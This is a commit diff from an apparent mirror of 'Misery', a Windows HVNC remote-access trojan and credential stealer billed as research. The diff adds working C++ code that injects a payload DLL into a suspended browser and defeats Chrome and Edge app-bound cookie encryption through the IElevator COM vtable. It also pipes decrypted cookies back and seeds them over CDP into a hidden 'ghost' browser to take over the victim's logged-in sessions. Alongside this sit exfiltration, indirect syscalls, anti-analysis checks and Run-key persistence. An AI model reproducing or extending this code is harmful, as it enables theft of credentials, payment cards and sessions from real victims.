mirror of
https://git.churchofmalware.org/JYenn/Misery
synced 2026-09-22 05:27:07 +00:00
ghost: seed sign-in cookies via CDP; Edge ABE vtable fix, 24H2 syscall sizes, relay chunked bodies
This commit is contained in:
@@ -11,7 +11,7 @@ HVNC RAT + stealer research project (Misery-derived). For local testing and rese
|
||||
- Hidden desktop (`hvnc start`): GDI apps on a hidden desktop, streamed live
|
||||
- Interactive browser (`hvnc launch chrome`): real Chromium with the victim's logins, driven over CDP
|
||||
- Ghosted browser (`ghost <url>`): hidden Chrome/Edge session using the victim's cookies and logins
|
||||
- Credential and app-session harvesting: Chrome, Edge, Brave, Opera, Opera GX, Firefox; Discord, Steam, Telegram, Slack, Signal, VS Code, AWS, SSH keys, Wi-Fi passwords, wallets
|
||||
- Credential and app-session harvesting: Chrome, Edge, Brave, Opera, Opera GX, Firefox; payment cards, Discord, Steam, Telegram, Slack, VS Code, AWS, SSH keys, Wi-Fi passwords, wallet extension paths, and a Signal session file listing
|
||||
- Single encrypted C2 channel: reverse TCP (default) or HTTPS beaconing through a CDN
|
||||
- Keylogger + clipboard monitoring
|
||||
- Persistence (HKCU Run key + WMI event subscriptions)
|
||||
@@ -64,17 +64,17 @@ Fresh checkout builds against `127.0.0.1:4444`; run `setup.py` once so `.misery_
|
||||
|
||||
## Layout
|
||||
|
||||
- `src/agent` – entry, C2 client, injector, persistence
|
||||
- `src/console` – operator console + listener
|
||||
- `src/payload` – payload DLL, reflective loader, trampoline
|
||||
- `src/stealer` – Misery-derived sources
|
||||
- `src/hvnc` – hidden-desktop session
|
||||
- `src/ghost` – ghosted browser session
|
||||
- `src/browser` – CDP client (Page/Input over WebSocket)
|
||||
- `src/rat` – keylogger + clipboard
|
||||
- `src/transport` – encrypted TCP framing, HTTPS beacon carrier, compression
|
||||
- `src/evasion` – indirect syscalls, anti-analysis, helpers
|
||||
- `build/` – out-of-source build dir
|
||||
- `src/agent`: entry, C2 client, injector, persistence
|
||||
- `src/console`: operator console + listener
|
||||
- `src/payload`: payload DLL, reflective loader, trampoline
|
||||
- `src/stealer`: Misery-derived sources
|
||||
- `src/hvnc`: hidden-desktop session
|
||||
- `src/ghost`: ghosted browser session
|
||||
- `src/browser`: CDP client (Page/Input over WebSocket)
|
||||
- `src/rat`: keylogger + clipboard
|
||||
- `src/transport`: encrypted TCP framing, HTTPS beacon carrier, compression
|
||||
- `src/evasion`: indirect syscalls, anti-analysis, helpers
|
||||
- `build/`: out-of-source build dir
|
||||
|
||||
## Licence
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Compiler-neutral replacement for the objcopy "-I binary" embedding step.
|
||||
# Turns the built payload DLL into a C++ translation unit exposing the
|
||||
# _binary_payload_bin_start / _binary_payload_bin_end symbols that
|
||||
# _binary_payload_bin_start / _binary_payload_bin_size symbols that
|
||||
# src/agent/inject.cpp references. Works for MSVC, MinGW, and Clang.
|
||||
#
|
||||
# Usage: cmake -DINPUT=<payload dll> -DOUTPUT=<payload_embed.cpp> -P embed_payload.cmake
|
||||
@@ -42,7 +42,8 @@ file(WRITE "${OUTPUT}"
|
||||
"${START_BODY}\n"
|
||||
"};\n"
|
||||
"\n"
|
||||
"// One-byte marker placed right after the payload bytes; both arrays are\n"
|
||||
"// char-aligned and adjacent, so end - start == exact payload size.\n"
|
||||
"extern \"C\" const unsigned char _binary_payload_bin_end[] = { 0 };\n"
|
||||
"// Exact payload byte count. The linker does not guarantee that a separate\n"
|
||||
"// end-marker array lands after the payload array (it may be merged/placed\n"
|
||||
"// before it), so size must never be derived from symbol addresses.\n"
|
||||
"extern \"C\" const unsigned long long _binary_payload_bin_size = ${PAYLOAD_SIZE}ull;\n"
|
||||
)
|
||||
|
||||
+28
-5
@@ -25,7 +25,7 @@ namespace {
|
||||
// Symbols emitted by cmake/embed_payload.cmake from the built payload DLL.
|
||||
extern "C" {
|
||||
extern const unsigned char _binary_payload_bin_start[];
|
||||
extern const unsigned char _binary_payload_bin_end[];
|
||||
extern const unsigned long long _binary_payload_bin_size;
|
||||
}
|
||||
|
||||
std::wstring find_browser_path() {
|
||||
@@ -123,7 +123,7 @@ void cleanup(HANDLE pipe, HANDLE thread, PROCESS_INFORMATION* pi) {
|
||||
|
||||
} // namespace
|
||||
|
||||
InjectResult inject_and_steal() {
|
||||
InjectResult inject_and_steal(bool seeds_only) {
|
||||
InjectResult r;
|
||||
|
||||
// init() is idempotent; agent/probe call it explicitly, but never assume.
|
||||
@@ -159,8 +159,7 @@ InjectResult inject_and_steal() {
|
||||
return r;
|
||||
}
|
||||
|
||||
const size_t payload_size =
|
||||
static_cast<size_t>(_binary_payload_bin_end - _binary_payload_bin_start);
|
||||
const size_t payload_size = static_cast<size_t>(_binary_payload_bin_size);
|
||||
const size_t pipe_name_size = (pipe_name.size() + 1) * sizeof(wchar_t);
|
||||
const size_t total_size = payload_size + pipe_name_size + 0x1000;
|
||||
|
||||
@@ -234,7 +233,8 @@ InjectResult inject_and_steal() {
|
||||
return r;
|
||||
}
|
||||
|
||||
// Handshake: "MISERYREADY" -> [endpoint len(4)+url] -> [json len(4)+json] -> done(4).
|
||||
// Handshake: "MISERYREADY" -> [endpoint len(4)+url] -> [flags(4)] ->
|
||||
// [json len(4)+json] -> [seeds len(4)+seeds] -> done(4).
|
||||
char ready[12] = {};
|
||||
if (!read_exact(pipe, ready, 12)) {
|
||||
r.error = "failed to read READY marker";
|
||||
@@ -244,6 +244,8 @@ InjectResult inject_and_steal() {
|
||||
|
||||
DWORD zero = 0, wb = 0; // no exfil endpoint from the agent
|
||||
WriteFile(pipe, &zero, 4, &wb, NULL);
|
||||
DWORD flags = seeds_only ? 1 : 0;
|
||||
WriteFile(pipe, &flags, 4, &wb, NULL);
|
||||
|
||||
uint32_t hdr = 0;
|
||||
if (!read_exact(pipe, &hdr, 4)) {
|
||||
@@ -273,6 +275,27 @@ InjectResult inject_and_steal() {
|
||||
return r;
|
||||
}
|
||||
|
||||
// Cookie seed blob (may be empty): decrypted Default-profile cookies for
|
||||
// the ghost browser sign-in re-hydration.
|
||||
uint32_t seeds_len = 0;
|
||||
if (!read_exact(pipe, &seeds_len, 4)) {
|
||||
r.error = "failed to read seeds header";
|
||||
cleanup(pipe, thread, &pi);
|
||||
return r;
|
||||
}
|
||||
if (seeds_len > 64 * 1024 * 1024) {
|
||||
r.error = "seeds blob too large";
|
||||
cleanup(pipe, thread, &pi);
|
||||
return r;
|
||||
}
|
||||
std::vector<uint8_t> seeds(seeds_len);
|
||||
if (seeds_len > 0 && !read_exact(pipe, seeds.data(), seeds_len)) {
|
||||
r.error = "failed to read seeds blob";
|
||||
cleanup(pipe, thread, &pi);
|
||||
return r;
|
||||
}
|
||||
r.seed_blob = std::move(seeds);
|
||||
|
||||
uint32_t done = 0;
|
||||
if (!read_exact(pipe, &done, 4)) {
|
||||
r.error = "failed to read done marker";
|
||||
|
||||
@@ -4,18 +4,23 @@
|
||||
// the HVNC indirect-syscall engine.
|
||||
#pragma once
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <cstdint>
|
||||
|
||||
namespace hvnc::inject {
|
||||
|
||||
struct InjectResult {
|
||||
bool ok = false;
|
||||
std::string json; // exfil JSON on success
|
||||
std::string error; // human-readable failure reason
|
||||
std::string json; // exfil JSON on success (empty in seeds-only mode)
|
||||
std::vector<uint8_t> seed_blob; // decrypted Default-profile cookies for ghost sign-in
|
||||
std::string error; // human-readable failure reason
|
||||
};
|
||||
|
||||
// Launch a suspended target browser, inject the embedded payload DLL, await the
|
||||
// pipe handshake, and return the exfil JSON. Terminates the host browser after
|
||||
// the handshake completes. Safe to call from the agent's STEAL handler.
|
||||
InjectResult inject_and_steal();
|
||||
// When seeds_only is true the payload skips the full loot and returns just the
|
||||
// cookie seed blob (used by GHOST_START to re-hydrate the ghost sign-in).
|
||||
InjectResult inject_and_steal(bool seeds_only = false);
|
||||
|
||||
} // namespace hvnc::inject
|
||||
|
||||
+16
-1
@@ -301,7 +301,19 @@ static void handle_command(AgentSession& s, const Message& cmd, const SendFn& se
|
||||
case MsgType::GHOST_START: {
|
||||
std::string url(cmd.body.begin(), cmd.body.end());
|
||||
if (!url.empty()) {
|
||||
bool ok = s.ghost.start(utf8_to_wide(url));
|
||||
// Re-hydrate the ghost browser's session with the user's real
|
||||
// cookies before navigating: decrypt them inside a suspended
|
||||
// chrome.exe (ABE process-path check passes) and seed them over
|
||||
// CDP. Best-effort: on failure the ghost still starts signed-out.
|
||||
std::vector<CookieSeed> seeds;
|
||||
auto inj = hvnc::inject::inject_and_steal(true);
|
||||
if (inj.ok && !inj.seed_blob.empty()) {
|
||||
if (!decode_cookie_seeds(inj.seed_blob, seeds))
|
||||
printf("[agent] ghost seed decode failed\n");
|
||||
} else if (!inj.ok) {
|
||||
printf("[agent] ghost seed pipe failed: %s\n", inj.error.c_str());
|
||||
}
|
||||
bool ok = s.ghost.start(utf8_to_wide(url), seeds.empty() ? nullptr : &seeds);
|
||||
std::string text = ok ? "ghost start: ok" : std::string("ghost start: ") + s.ghost.last_error;
|
||||
printf("[agent] %s\n", text.c_str());
|
||||
send_result(send, text);
|
||||
@@ -501,6 +513,9 @@ static void run_beacon_session(const beacon::BeaconConfig& cfg, AgentSession& s)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
// Live diagnostics when stdout is redirected (pipes/files are fully
|
||||
// buffered otherwise, and logs would only surface at exit).
|
||||
setvbuf(stdout, nullptr, _IONBF, 0);
|
||||
// C2 config: CLI overrides env, env overrides the compile-time defaults
|
||||
// baked in from src/config.h (setup.py), so a deployed agent can be
|
||||
// retargeted without a rebuild. Persistence is its own mode (--persist,
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Run-key persistence (T1547.001): copy self to %APPDATA%, register HKCU Run
|
||||
// value. Low-privilege, survives logon; deliberately minimal and documented —
|
||||
// the Run key is the single most-detected persistence point, so operators get
|
||||
// an honest, removable mechanism rather than a silent surprise.
|
||||
// value. Low-privilege, survives logon; deliberately minimal and documented,
|
||||
// because the Run key is the single most-detected persistence point. Operators
|
||||
// get an honest, removable mechanism rather than a silent surprise.
|
||||
#include "persist.hpp"
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
@@ -403,8 +403,11 @@ bool Client::command(const std::string& method, const std::string& params,
|
||||
return false;
|
||||
}
|
||||
|
||||
// Match only true replies: Chrome always starts them with {"id":N,...
|
||||
// Events (Runtime.executionContextCreated etc.) contain "id":<contextId>
|
||||
// inside their params and must never be mistaken for a reply.
|
||||
char idbuf[32];
|
||||
snprintf(idbuf, sizeof(idbuf), "\"id\":%llu", id_);
|
||||
snprintf(idbuf, sizeof(idbuf), "{\"id\":%llu,", id_);
|
||||
|
||||
unsigned long deadline = GetTickCount() + timeout_ms;
|
||||
std::string frame;
|
||||
@@ -413,16 +416,14 @@ bool Client::command(const std::string& method, const std::string& params,
|
||||
close();
|
||||
return false;
|
||||
}
|
||||
if (frame.find("\"error\"") != std::string::npos &&
|
||||
frame.find(idbuf) != std::string::npos) {
|
||||
if (frame.compare(0, strlen(idbuf), idbuf) != 0)
|
||||
continue; // event or another target's reply
|
||||
if (frame.find("\"error\"") != std::string::npos) {
|
||||
out_message = frame;
|
||||
return false;
|
||||
}
|
||||
if (frame.find(idbuf) != std::string::npos) {
|
||||
out_message = std::move(frame);
|
||||
return true;
|
||||
}
|
||||
// Events and other targets' replies are ignored.
|
||||
out_message = std::move(frame);
|
||||
return true;
|
||||
}
|
||||
last_error = method + ": timeout";
|
||||
return false; // socket stays up; the caller may retry
|
||||
@@ -889,7 +890,7 @@ bool decode_jpeg_bgr(const std::string& jpeg, int& width, int& height,
|
||||
decoder->Release();
|
||||
|
||||
UINT w = 0, h = 0;
|
||||
if (FAILED(frame->GetSize(&w, &h)) || w == 0 || h == 0) {
|
||||
if (FAILED(frame->GetSize(&w, &h)) || w == 0 || h == 0 || w > 16384 || h > 16384) {
|
||||
frame->Release();
|
||||
factory->Release();
|
||||
return false;
|
||||
|
||||
+10
-5
@@ -436,8 +436,11 @@ bool debugger_present() {
|
||||
bool query_system_metrics(uint32_t* uptime_seconds, uint32_t* processor_count) {
|
||||
if (!g_ready) return false;
|
||||
if (processor_count) {
|
||||
// SYSTEM_BASIC_INFORMATION (class 0), NumberOfProcessors at offset 0x38 (x64)
|
||||
uint8_t buf[0x80] = {};
|
||||
// SYSTEM_BASIC_INFORMATION (class 0). The kernel requires the buffer to
|
||||
// be exactly sizeof the struct (0x40 on x64 24H2; anything larger or
|
||||
// smaller returns STATUS_INFO_LENGTH_MISMATCH). NumberOfProcessors is a
|
||||
// CCHAR at offset 0x38 on x64 (verified against GetSystemInfo on 24H2).
|
||||
uint8_t buf[0x40] = {};
|
||||
ULONG retlen = 0;
|
||||
const uintptr_t a1[4] = {
|
||||
0 /* SystemBasicInformation */, reinterpret_cast<uintptr_t>(buf),
|
||||
@@ -447,8 +450,10 @@ bool query_system_metrics(uint32_t* uptime_seconds, uint32_t* processor_count) {
|
||||
*processor_count = buf[0x38];
|
||||
}
|
||||
if (uptime_seconds) {
|
||||
// SYSTEM_TIMEOFDAY_INFORMATION (class 3), BootTime@0, CurrentTime@0x10
|
||||
uint8_t buf[0x60] = {};
|
||||
// SYSTEM_TIMEOFDAY_INFORMATION (class 3): 0x30 bytes on x64 24H2.
|
||||
// BootTime@0x00, CurrentTime@0x08 (100ns intervals since 1601);
|
||||
// TimeZoneBias follows at 0x10 and must not be mistaken for it.
|
||||
uint8_t buf[0x30] = {};
|
||||
ULONG retlen = 0;
|
||||
const uintptr_t a2[4] = {
|
||||
3 /* SystemTimeOfDayInformation */, reinterpret_cast<uintptr_t>(buf),
|
||||
@@ -457,7 +462,7 @@ bool query_system_metrics(uint32_t* uptime_seconds, uint32_t* processor_count) {
|
||||
if (NT_SUCCESS(dispatch(sys().NtQuerySystemInformation, a2, 4))) {
|
||||
int64_t boot = 0, now = 0;
|
||||
std::memcpy(&boot, buf + 0x00, 8);
|
||||
std::memcpy(&now, buf + 0x10, 8);
|
||||
std::memcpy(&now, buf + 0x08, 8);
|
||||
*uptime_seconds = static_cast<uint32_t>((now - boot) / 10000000);
|
||||
}
|
||||
}
|
||||
|
||||
+85
-1
@@ -20,6 +20,31 @@ static std::string wide_to_utf8(const std::wstring& ws) {
|
||||
return out;
|
||||
}
|
||||
|
||||
// Minimal JSON string escaping for cookie names/values/domains in CDP params.
|
||||
// Bytes >= 0x80 become \u00XX: cookie values are arbitrary bytes, not valid
|
||||
// UTF-8, and one unescaped byte would make the whole setCookies batch parse
|
||||
// as invalid JSON.
|
||||
static std::string json_escape(const std::string& s) {
|
||||
std::string out;
|
||||
out.reserve(s.size() + 8);
|
||||
for (unsigned char c : s) {
|
||||
switch (c) {
|
||||
case '"': out += "\\\""; break;
|
||||
case '\\': out += "\\\\"; break;
|
||||
case '\n': out += "\\n"; break;
|
||||
case '\r': out += "\\r"; break;
|
||||
case '\t': out += "\\t"; break;
|
||||
default:
|
||||
if (c < 0x20 || c >= 0x80) {
|
||||
char buf[8];
|
||||
snprintf(buf, sizeof(buf), "\\u%04x", c);
|
||||
out += buf;
|
||||
} else out += (char)c;
|
||||
}
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
// Remove leftover ghost profile dirs from crashed sessions. stop() deletes its
|
||||
// own; this catches the ones a hard process kill leaves behind.
|
||||
static void sweep_stale_profiles() {
|
||||
@@ -200,7 +225,7 @@ std::wstring profile_dir_for_browser(const std::wstring& name) {
|
||||
return dir_exists(p) ? p : std::wstring();
|
||||
}
|
||||
|
||||
bool GhostSession::start(const std::wstring& url) {
|
||||
bool GhostSession::start(const std::wstring& url, const std::vector<CookieSeed>* seeds) {
|
||||
if (running_) return false;
|
||||
last_error.clear();
|
||||
sweep_stale_profiles();
|
||||
@@ -253,6 +278,14 @@ bool GhostSession::start(const std::wstring& url) {
|
||||
stop();
|
||||
return false;
|
||||
}
|
||||
// Re-hydrate sign-in before navigation: the copied profile's app-bound
|
||||
// v20 cookies can't be decrypted under a custom --user-data-dir, so the
|
||||
// agent re-injects the plaintext cookies the payload decrypted in-process.
|
||||
if (seeds && !seeds->empty()) {
|
||||
if (!seed_cookies(*seeds)) {
|
||||
printf("[ghost] cookie seeding failed; continuing unsigned-in\n");
|
||||
}
|
||||
}
|
||||
if (!cdp_.navigate(wide_to_utf8(url))) {
|
||||
last_error = "navigate failed";
|
||||
printf("[ghost] %s\n", last_error.c_str());
|
||||
@@ -264,6 +297,57 @@ bool GhostSession::start(const std::wstring& url) {
|
||||
return true;
|
||||
}
|
||||
|
||||
bool GhostSession::seed_cookies(const std::vector<CookieSeed>& seeds) {
|
||||
if (seeds.empty()) return true;
|
||||
// Network.setCookies: {"cookies":[{name,value,domain,path,secure,httpOnly,
|
||||
// sameSite,expires},...]}. Domain is the cookie's host_key; expires is
|
||||
// TimeSinceEpoch (seconds since 1970) for persistent cookies only.
|
||||
std::string params = "{\"cookies\":[";
|
||||
for (size_t i = 0; i < seeds.size(); i++) {
|
||||
const CookieSeed& s = seeds[i];
|
||||
if (i) params += ",";
|
||||
params += "{\"name\":\"" + json_escape(s.name) + "\",";
|
||||
params += "\"value\":\"" + json_escape(s.value) + "\",";
|
||||
// __Host- cookies are hard-rejected by Network.setCookies when they
|
||||
// carry a Domain attribute (the prefix forbids it by spec), so they go
|
||||
// in via url instead; __Secure- merely requires Secure. Both force
|
||||
// Path=/, and SameSite=None already requires Secure below.
|
||||
bool host_prefix = s.name.rfind("__Host-", 0) == 0;
|
||||
bool secure_prefix = host_prefix || s.name.rfind("__Secure-", 0) == 0;
|
||||
bool secure = s.secure || s.samesite == 1 || secure_prefix;
|
||||
if (host_prefix) {
|
||||
std::string host = s.domain;
|
||||
if (!host.empty() && host[0] == '.') host.erase(host.begin());
|
||||
params += "\"url\":\"https://" + json_escape(host) + "/\",";
|
||||
params += "\"path\":\"/\",";
|
||||
} else {
|
||||
params += "\"domain\":\"" + json_escape(s.domain) + "\",";
|
||||
params += "\"path\":\"" + json_escape(s.path.empty() ? "/" : s.path) + "\",";
|
||||
}
|
||||
params += "\"secure\":" + std::string(secure ? "true" : "false") + ",";
|
||||
params += "\"httpOnly\":" + std::string(s.httponly ? "true" : "false");
|
||||
// Chrome cookies.samesite: 0=Unspecified (omit), 1=None, 2=Lax, 3=Strict.
|
||||
if (s.samesite == 1) params += ",\"sameSite\":\"None\"";
|
||||
else if (s.samesite == 2) params += ",\"sameSite\":\"Lax\"";
|
||||
else if (s.samesite == 3) params += ",\"sameSite\":\"Strict\"";
|
||||
if (s.persistent && s.expires_utc > 0) {
|
||||
long long epoch = s.expires_utc / 1000000 - 11644473600LL;
|
||||
params += ",\"expires\":" + std::to_string(epoch);
|
||||
}
|
||||
params += "}";
|
||||
}
|
||||
params += "]}";
|
||||
|
||||
std::string out;
|
||||
if (!cdp_.command("Network.setCookies", params, out)) {
|
||||
last_error = "Network.setCookies failed";
|
||||
printf("[ghost] %s\n", last_error.c_str());
|
||||
return false;
|
||||
}
|
||||
printf("[ghost] seeded %zu cookies\n", seeds.size());
|
||||
return true;
|
||||
}
|
||||
|
||||
bool GhostSession::start_browser(const std::wstring& exe, const std::wstring& profile_root,
|
||||
const std::wstring& extra_args) {
|
||||
if (running_) return false;
|
||||
|
||||
+9
-2
@@ -7,6 +7,7 @@
|
||||
#pragma once
|
||||
#include "hvnc.hpp"
|
||||
#include "cdp_client.hpp"
|
||||
#include "stealer.hpp"
|
||||
#include <windows.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
@@ -22,8 +23,9 @@ public:
|
||||
// Launch the ghost browser for the given URL. Copies the real User Data
|
||||
// profile to %TEMP% (handles profile lock), spawns full Chrome with
|
||||
// --user-data-dir=<temp> on a fresh hidden desktop, connects to its CDP
|
||||
// endpoint, then navigates it to `url`.
|
||||
bool start(const std::wstring& url);
|
||||
// endpoint, seeds the decrypted sign-in cookies (Network.setCookies, when
|
||||
// `seeds` is given), then navigates it to `url`.
|
||||
bool start(const std::wstring& url, const std::vector<CookieSeed>* seeds = nullptr);
|
||||
void stop();
|
||||
|
||||
// Launch a full Chromium window (no --app, no URL) at the caller-owned
|
||||
@@ -67,6 +69,11 @@ private:
|
||||
std::wstring find_chrome_exe();
|
||||
std::wstring get_user_data_path();
|
||||
std::wstring copy_profile(const std::wstring& src);
|
||||
|
||||
// Push plaintext cookies into the ghost browser via CDP Network.setCookies
|
||||
// so it comes up signed in (app-bound v20 cookies cannot be decrypted in a
|
||||
// custom --user-data-dir). Called between connect and navigate.
|
||||
bool seed_cookies(const std::vector<CookieSeed>& seeds);
|
||||
};
|
||||
|
||||
// Copy a browser profile dir into a fresh <temp>\HVNC_<tag>_<pid>\User Data
|
||||
|
||||
+43
-3
@@ -3,14 +3,18 @@
|
||||
// its process-path validation. DllMain spawns a worker thread; the injector
|
||||
// writes the DLL + a pipe name into the target and starts the thread at the
|
||||
// Bootstrap export (bootstrap.cpp). Protocol is the Misery pipe handshake:
|
||||
// "MISERYREADY"(12) -> [endpoint len(4)+url] -> [json len(4)+json] -> done(4 "MISR")
|
||||
// "MISERYREADY"(12) -> [endpoint len(4)+url] -> [flags(4)] ->
|
||||
// [json len(4)+json] -> [seeds len(4)+seeds] -> done(4 "MISR")
|
||||
// Error path writes a fixed "ERR..." marker string instead of the JSON header.
|
||||
// flags bit0 = seeds-only: skip the full loot and return just the cookie seed
|
||||
// blob (used by GHOST_START to re-hydrate the ghost browser's sign-in).
|
||||
//
|
||||
// The reflective loader passes the pipe-name pointer to DllMain via lpReserved.
|
||||
#include <windows.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <memory>
|
||||
#include <cwctype>
|
||||
#include <cstdint>
|
||||
|
||||
#include "payload.hpp"
|
||||
@@ -70,6 +74,11 @@ static DWORD WINAPI PayloadThread(LPVOID lpParam) {
|
||||
exfil_endpoint = ep;
|
||||
}
|
||||
|
||||
// Mode flags (4 bytes). bit0 = seeds-only (no loot, no exfil).
|
||||
DWORD flags = 0;
|
||||
ReadFile(hPipe, &flags, 4, &got, NULL);
|
||||
bool seeds_only = (flags & 1) != 0;
|
||||
|
||||
if (!init_sqlite()) fail(hPipe, "ERRSQLITE", 9, hModule);
|
||||
|
||||
// Which browser are we running inside? (module name of the host process)
|
||||
@@ -88,13 +97,44 @@ static DWORD WINAPI PayloadThread(LPVOID lpParam) {
|
||||
if (kr == StealKey::BadKeyJson) fail(hPipe, "ERRKEYPARSE", 11, hModule);
|
||||
if (kr == StealKey::NoKey) fail(hPipe, "ERRNOKEY", 8, hModule);
|
||||
|
||||
std::string json = collect_loot(browser_paths);
|
||||
// Full loot only when not in seeds-only mode (GHOST_START asks for the
|
||||
// cookie seeds so the ghost browser can be signed in; the full steal is
|
||||
// triggered by the explicit STEAL command instead).
|
||||
std::string json;
|
||||
if (!seeds_only) json = collect_loot(browser_paths);
|
||||
|
||||
// Cookie seeds: the Default profile of the browser we are running inside,
|
||||
// decrypted with the app-bound key (the same IElevator pipe that makes the
|
||||
// STEAL loot work). The ghost browser can't decrypt v20 cookies itself (a
|
||||
// custom --user-data-dir makes app-bound return a temporary key error), so
|
||||
// the agent re-injects these plaintext cookies via CDP Network.setCookies.
|
||||
std::vector<Cookie> seed_cookies;
|
||||
for (const auto& bp : browser_paths) {
|
||||
if (!bp.is_chromium) continue;
|
||||
// Match the profile the ghost will copy: same browser, Default profile.
|
||||
std::string name_lower = bp.name;
|
||||
for (auto& c : name_lower) c = (char)tolower((unsigned char)c);
|
||||
std::string cfg_lower = cfg->name;
|
||||
for (auto& c : cfg_lower) c = (char)tolower((unsigned char)c);
|
||||
if (name_lower != cfg_lower) continue;
|
||||
if (bp.profile_dir.size() < 8) continue;
|
||||
std::wstring tail = bp.profile_dir.substr(bp.profile_dir.size() - 8);
|
||||
for (auto& c : tail) c = (wchar_t)towlower(c);
|
||||
if (tail != L"\\default") continue;
|
||||
seed_cookies = steal_cookies(bp);
|
||||
break;
|
||||
}
|
||||
std::vector<uint8_t> seeds = encode_cookie_seeds(seed_cookies);
|
||||
|
||||
DWORD json_size = (DWORD)json.size();
|
||||
WriteFile(hPipe, &json_size, 4, &written, NULL);
|
||||
WriteFile(hPipe, json.c_str(), json_size, &written, NULL);
|
||||
|
||||
if (!exfil_endpoint.empty()) exfil_https(json, exfil_endpoint);
|
||||
DWORD seeds_size = (DWORD)seeds.size();
|
||||
WriteFile(hPipe, &seeds_size, 4, &written, NULL);
|
||||
if (seeds_size > 0) WriteFile(hPipe, seeds.data(), seeds_size, &written, NULL);
|
||||
|
||||
if (!seeds_only && !exfil_endpoint.empty()) exfil_https(json, exfil_endpoint);
|
||||
|
||||
DWORD done = 0x4D495352; // "MISR"
|
||||
WriteFile(hPipe, &done, 4, &written, NULL);
|
||||
|
||||
@@ -12,7 +12,6 @@
|
||||
#include <processthreadsapi.h>
|
||||
|
||||
namespace {
|
||||
// Edge's IElevatorEdgeBase is the same vtable as IOriginalBaseElevator; use the same call.
|
||||
// CoSetProxyBlanket is required so the local server proxy uses default authn + PKT_PRIVACY.
|
||||
void set_proxy_blanket(IUnknown* p) {
|
||||
CoSetProxyBlanket(p, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL,
|
||||
@@ -34,7 +33,8 @@ static LONG WINAPI abe_veh(PEXCEPTION_POINTERS ep) {
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
std::vector<uint8_t> com_decrypt(const IID& iid, const CLSID& clsid, const std::vector<uint8_t>& key) {
|
||||
std::vector<uint8_t> com_decrypt(const IID& iid, const CLSID& clsid, bool edge,
|
||||
const std::vector<uint8_t>& key) {
|
||||
std::vector<uint8_t> result;
|
||||
|
||||
Microsoft::WRL::ComPtr<IUnknown> unk;
|
||||
@@ -51,9 +51,17 @@ std::vector<uint8_t> com_decrypt(const IID& iid, const CLSID& clsid, const std::
|
||||
PVOID prev = AddVectoredExceptionHandler(1, abe_veh);
|
||||
g_abe_thread = GetCurrentThreadId();
|
||||
if (setjmp(g_abe_jmp) == 0) {
|
||||
auto* elevator = reinterpret_cast<IOriginalBaseElevator*>(unk.Get());
|
||||
set_proxy_blanket(elevator);
|
||||
hr = elevator->DecryptData(input, &output, &comErr);
|
||||
// Edge's vtable carries three placeholder methods before the elevator
|
||||
// ones, so DecryptData sits at offset 64 there instead of 40.
|
||||
if (edge) {
|
||||
auto* elevator = reinterpret_cast<IEdgeElevatorFinal*>(unk.Get());
|
||||
set_proxy_blanket(elevator);
|
||||
hr = elevator->DecryptData(input, &output, &comErr);
|
||||
} else {
|
||||
auto* elevator = reinterpret_cast<IOriginalBaseElevator*>(unk.Get());
|
||||
set_proxy_blanket(elevator);
|
||||
hr = elevator->DecryptData(input, &output, &comErr);
|
||||
}
|
||||
} else {
|
||||
hr = 0x8000000F; // EXCEPTION_ACCESS_VIOLATION as an HRESULT
|
||||
}
|
||||
@@ -122,11 +130,12 @@ std::vector<uint8_t> chrome_abe_decrypt_key(const BrowserConfig& cfg, const std:
|
||||
std::vector<uint8_t> payload(encrypted_key.begin() + 4, encrypted_key.end());
|
||||
|
||||
std::vector<uint8_t> result;
|
||||
bool edge = cfg.name == "Edge";
|
||||
if (cfg.iid_v2.has_value()) {
|
||||
result = com_decrypt(cfg.iid_v2.value(), cfg.clsid, payload);
|
||||
result = com_decrypt(cfg.iid_v2.value(), cfg.clsid, edge, payload);
|
||||
}
|
||||
if (result.empty()) {
|
||||
result = com_decrypt(cfg.iid_v1, cfg.clsid, payload);
|
||||
result = com_decrypt(cfg.iid_v1, cfg.clsid, edge, payload);
|
||||
}
|
||||
|
||||
CoUninitialize();
|
||||
|
||||
@@ -17,6 +17,20 @@ public:
|
||||
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
|
||||
};
|
||||
|
||||
// Edge's elevator interfaces inherit from a placeholder base with three no-op
|
||||
// methods, so RunRecovery/Encrypt/Decrypt sit three slots deeper than the
|
||||
// Chromium ones: DecryptData is at vtable offset 64, not 40.
|
||||
MIDL_INTERFACE("1FCBE96C-1697-43AF-9140-2897C7C69767")
|
||||
IEdgeElevatorFinal : public IUnknown {
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE Placeholder1() = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE Placeholder2() = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE Placeholder3() = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
|
||||
};
|
||||
|
||||
struct BrowserConfig {
|
||||
std::string name;
|
||||
CLSID clsid;
|
||||
|
||||
@@ -121,8 +121,10 @@ std::vector<uint8_t> aes_ige_decrypt(const std::vector<uint8_t>& key, const std:
|
||||
}
|
||||
|
||||
std::vector<uint8_t> aes_gcm_decrypt(const std::vector<uint8_t>& key, const std::vector<uint8_t>& ciphertext) {
|
||||
if (ciphertext.size() < 28) return {};
|
||||
// Chromium AES-256-GCM: prefix "v10" or "v11" (3 bytes), 12-byte IV, ciphertext, 16-byte tag
|
||||
// Chromium AES-256-GCM: 3-byte prefix ("v10"/"v11"/"v20"), 12-byte IV,
|
||||
// ciphertext, 16-byte tag. Minimum size is 3+12+16 = 31; anything shorter
|
||||
